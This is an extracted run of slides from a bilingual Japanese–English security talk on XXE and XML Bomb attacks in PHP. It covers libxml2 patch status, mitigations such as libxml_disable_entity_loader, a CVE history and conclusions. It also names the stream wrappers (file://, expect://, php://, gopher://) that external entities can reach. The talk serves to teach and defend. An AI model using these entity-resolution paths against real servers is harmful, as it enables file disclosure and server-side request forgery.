• libxml 2.9.0 (2012/09/11)

•Do not fetch external parsed entities ...(https://git.gnome.org/browse/libxml2/commit/?id=4629e)

History oflibxml2 vs XXE

Page 63: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

ディストリビューションの配布パッケージ-Situations of distributions’ provided libxml2-

libxml 2.6(XXE & XML Bomb)

libxml 2.7, 2.8(XXE)

libxml 2.9

CentOS

Debian

Fedora

Ubuntu

5 6

Wheezy (stable)

Squeeze (old stable)Sid (unstable)

1918

10.04 (LTS)12.04 (LTS)

12.10

13.0413.10

Page 64: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

ディストリビューションの配布パッケージ-Situations of distributions’ provided libxml2-

libxml 2.6(XXE & XML Bomb)

libxml 2.7, 2.8(XXE)

libxml 2.9

CentOS

Debian

Fedora

Ubuntu

5 6

Wheezy (stable)

Squeeze (old stable)Sid (unstable)

1918

10.04 (LTS)12.04 (LTS)

12.10

13.0413.10

パッチによって XML Bomb は

対策済This XML Bomb vuln is patched now in RHEL :)

Page 65: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

ディストリビューション配布版 libxml2 と XXE-Distributions’ libxml2 and XXE-

• CentOS (RHEL)

• I’ve confirmed fix XEE vuln in CentOS 6

• Ubuntu (Patched in Jul, 2013)

• Bug #1194410 “Apply upstream patch to close XXE vulnerability in...” : Bugs : “libxml2” package : Ubuntu

• Debian (Patched in ... Mar, 2013?)

• I’ve NOT confirmed fix XEE vuln in stable (2.8.0+dfsg1-7+nmu1) and old-stable

• But ... it looks like that Debian project patched stable and old-stable (security) in http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=702260

Page 66: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

PREVENTION

Page 67: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

Use libxml 2.9

Page 68: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

Use libxml 2.9

Page 69: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

Use libxml 2.9

Page 70: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

Use libxml 2.9

Page 71: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

PHP 側でできる XML Bomb 対策-Against XML Bomb in PHP script-

Page 72: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

PHP 側でできる XML Bomb 対策-Against XML Bomb in PHP script-

Page 73: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

•一応いくつか軽減策を選ぶことはできますが……Okay, okay, you can choose some mitigations...

•DOCTYPE が含まれていた時点で拒否Deny DOCTYPE

•ENTITY 読み込み部分を自力で取り除くRemove ENTITY inclusion by your self

PHP 側でできる XML Bomb 対策-Against XML Bomb in PHP script-

Page 74: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

• libxml_disable_entity_loader(true)•PHP 側で外部エンティティを解決するときにこれが true

であれば処理を終了するThe external entity loader in PHP does not continue its process if this argument is true

PHP 側でできる XXE 対策-Against XEE in PHP script-

$old = libxml_disable_entity_loader(true);$xml = new SimpleXMLElement($content);libxml_disable_entity_loader($old);

Page 75: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

External Entity resolution flow after libxml_disable_entity_loader(true)

Parse XML

Parse DOCTYPE

Parse ENTITY declarations

Resolve external entities

http://

PHP entity loader

file:// expect:// php://gopher://

Page 76: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

External Entity resolution flow after libxml_disable_entity_loader(true)

Parse XML

Parse DOCTYPE

Parse ENTITY declarations

Resolve external entities

http://

PHP entity loader

file:// expect:// php://gopher://

Page 77: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

External Entity resolution flow after libxml_disable_entity_loader(true)

Parse XML

Parse DOCTYPE

Parse ENTITY declarations

Resolve external entities

http://

PHP entity loader

file:// expect:// php://

外部エンティティローダが無効なのでコンテンツが読み込めなくなったExternal entity loader is disabled so it can not load any contents

gopher://

Page 78: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

• 【注意】 libxml_disable_entity_loader(true) は XML 「ファイル」を読み込むことを期待した関数の動作も無効化しますWARN!!! libxml_disable_entity_loader(true) kills XML **file** loading functions!!! (DOMDocument::load(), simplexml_load_file(), XMLReader::open())

• これらの関数は libxml2 の機能を使用して XML ファイルを読み込む際にエンティティローダを流用しているためBecause they use the entity loader to load XML file in libxml2

• したがって、 libxml2 に依存した関数の外で事前に XML ファイルを読み込んでおく必要がありますSo you need to pre-load XML contents outside of libxml2 depended functions

PHP 側でできる XXE 対策-Against XEE in PHP script-

Page 79: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

REAL WORLD EXAMPLE

Page 80: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

• 海老原が所有しているセキュリティ関連書籍のうち、 XXE もしくは XML Bomb に関する言及があるものを調査

• ただし、「特定の脆弱性 (XSS など) にテーマを絞った書籍」「セキュアコーディング手法がテーマではない書籍 (pentest 関連、マネジメント手法などに関する書籍)」は調査対象から除外

• 索引と目次から XML, XXE, XEE, Billion Laughs などのキーワードが見つからなかったものはその時点で「言及なし」とした

書籍での言及状況(No English subtitles)

Page 81: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

• 言及あり

• Paco Hope, Ben Walther 著 『Web Security Testing Cookbook』, O’Reilly, 2008 年

• Michal Zalewski 著 『めんどうくさい Web セキュリティ』 翔泳社, 2012 年

• 言及なし

• マイケル・ハワード, デイビッド・ルブラン 著 『Writing Secure Code 第2版』日経BPソフトプレス, 2004 年

• GIJOE 著 『PHP サイバーテロの技法』 ソシム, 2005 年

• Robert C. Seacord 著 『C/C++ セキュアコーディング』 アスキー, 2006 年

• Chris Shiflett 著 『入門 PHP セキュリティ』 オライリー・ジャパン, 2006 年

• 大垣靖男著 『Web アプリセキュリティ対策入門』 技術評論社, 2006 年

• 金床著 『ウェブアプリケーションセキュリティ』 データハウス, 2007 年

• 佐名木智貴著 『セキュア Web プログラミング Tips 集』 ソフト・リサーチ・センター, 2008 年

• 徳丸浩著 『体系的に学ぶ 安全な Web アプリケーションの作り方』 ソフトバンククリエイティブ, 2011 年

調査結果(No English subtitles)

Page 82: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

• XML External Entity: PHP マニュアル (!)、 T.Terada さんの日記、 JVN などの各製品のアドバイザリ

• XXE: ほぼ関係ない検索結果 (先の T.Terada さんの日記に対する徳丸さんのはてブが引っかかるくらい)

• XML Bomb: 数サイトで言及が見られた他は JVN などのアドバイザリのみ

• XML Entity Expansion: JVN などのアドバイザリのみ

• Billion Laughs: MSDN での言及が見られるほかはアドバイザリのみ

• XML Entity Explosion: 水無月ばけらさんの日記など、 Rails でこの問題が発見された際の言及がいくらか見られる程度

おしえて Google 先生!(No English subtitles)

Page 83: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

XXE or XML Bomb in CVE

• Search CVEs by '"xml external entity" OR "xml entity expansion" OR "xml entity explosion" OR "xml bomb" OR "billion laughs" OR "xxe" OR "xee" (And removed about XXE archive by my hand)

• And for 2013, I know that contains reserved CVE-2013-4333, CVE-2013-4334 and CVE-2013-4335 are XXE Problem because I’m reporter of these problem, so I’ve added +3

0

5

10

15

20

2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013

17

14

6

1

32

001

011

Page 85: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

History (2005-2011)

• 2005Adobe Reader / Acrobat (CVE-2005-1306)

• 2008Java (CVE-2008-0628), Ruby (CVE-2008-3790)

• 2009WebKit (CVE-2009-1699), Adobe Reader / Acrobat (CVE-2009-2979)

• 2011Mac OS X (CVE-2011-0212), phpMyAdmin (CVE-2011-4107)

Page 86: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

History (2012)

•OpenOffice (CVE-2012-0037), PostgreSQL (CVE-2012-3488),

ZendFramework (CVE-2012-3363, CVE-2012-5657, CVE-2012-6531, CVE-2012-6532),

Symfony (version 2.0.11, 2.0.17), CakePHP (CVE-2012-4399),

Nokogiri, CPAN XML::Atom (CVE-2012-1102 [reserved])

•PHDays 2012 -- ONsec PHDays 2012 XXE incapsulated report

Page 87: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

History (2013)

•PHP (CVE-2013-1643), Python (CVE-2013-1664, CVE-2013-1665),

Ruby (CVE-2013-1821), Ruby on Rails (CVE-2013-1856),mod_security (CVE-2013-1915), MediaWiki, Play FrameworkWordPress (CVE-2013-2202), Microsoft Office (CVE-2013-3160)

•And I reported the following (discovered):OpenPNE (CVE-2013-4333, 2013-4334, 2013-4335)

PHP OpenID Library (CVE-2013-4701)

Page 88: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

CONCLUSION

Page 89: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

• XML のエンティティ解決に関わる処理が脆弱となりうる

• 利用側での対策は比較的楽なので、パーサや言語バインディング側での対応が落ち着くまでは利用側での対策を推奨

• XXE の存在が徐々に広まりつつあり、これに伴いメジャーなソフトウェアでの発見事例が増加している

• XXE と共に SSRF が注目されつつあり、積極的に攻撃手法も研究されている状況なので注意が必要

• 特に任意のストリームラッパーを攻撃者が利用できるような状況は危険

まとめ(No English subtitles)

Page 90: XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with PHP-

Question?